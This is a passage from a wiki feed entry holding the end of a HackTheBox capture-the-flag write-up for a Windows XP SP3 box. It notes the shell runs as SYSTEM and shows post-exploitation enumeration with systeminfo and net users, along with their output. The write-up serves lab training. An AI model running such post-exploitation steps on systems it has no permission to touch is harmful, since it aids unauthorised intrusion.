&lt;br /&gt;
&lt;br /&gt;
Since the shell spawned in both methods are &amp;#039;&amp;#039;&amp;#039;NT Authority/SYSTEM &amp;#039;&amp;#039;&amp;#039;we dont need to privilege escalate and can just read both the &amp;#039;&amp;#039;&amp;#039;user.txt &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;root.txt&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We could however enumerate further so get a idea of what we are looking at. Since we had to know the &amp;#039;&amp;#039;&amp;#039;SP &amp;#039;&amp;#039;&amp;#039;using method 2, we know that this box run Service Pack 3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Listing the users we can see that there are two users, &amp;#039;&amp;#039;&amp;#039;john &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;Administrator. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt;systeminfo | findstr /B /C:&amp;quot;OS Name&amp;quot; /C:&amp;quot;OS Version&amp;quot;&lt;br /&gt;
systeminfo | findstr /B /C:&amp;quot;OS Name&amp;quot; /C:&amp;quot;OS Version&amp;quot;&lt;br /&gt;
OS Name:                   Microsoft Windows XP Professional&lt;br /&gt;
OS Version:                5.1.2600 Service Pack 3 Build 2600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt;net users&lt;br /&gt;
net users&lt;br /&gt;
&lt;br /&gt;
User accounts for \\&lt;br /&gt;
&lt;br /&gt;
-------------------------------------------------------------------------------&lt;br /&gt;
Administrator            Guest                    HelpAssistant&lt;br /&gt;
john                     SUPPORT_388945a0&lt;br /&gt;
The command completed with one or more errors.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>